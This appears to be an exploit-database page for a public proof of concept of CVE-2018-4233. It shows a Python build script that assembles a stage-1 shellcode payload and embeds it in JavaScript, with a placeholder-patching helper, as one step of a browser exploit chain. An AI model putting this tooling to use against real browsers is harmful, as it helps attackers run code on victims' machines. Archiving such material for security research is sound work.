Exploit database

GH-7c680b3c9792f88b10b5afbffe8ddcfe

saelo/cve-2018-4233

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-4233

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
saelo/cve-2018-4233Revision 441e4e39cf29

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

stage1/make.py

Python · 754 bytes
#!/usr/bin/env python3

import subprocess

# Assembly the payload
subprocess.run(['nasm', '-o', 'stage1.bin', 'stage1.asm'], check=True)

# Convert the payload to a JS array literal
payload = open('stage1.bin', 'rb').read()

js = 'var stage1 = new Uint8Array(['
js += ','.join(map(str, payload))
js += ']);\n'
js += '''
stage1.replace = function(oldVal, newVal) {
    for (var idx = 0; idx < this.length; idx++) {
        var found = true;
        for (var j = idx; j < idx + 8; j++) {
            if (this[j] != oldVal.byteAt(j - idx)) {
                found = false;
                break;
            }
        }
        if (found)
            break;
    }
    this.set(newVal.bytes(), idx);
};
'''

with open('stage1.js', 'w') as f:
    f.write(js)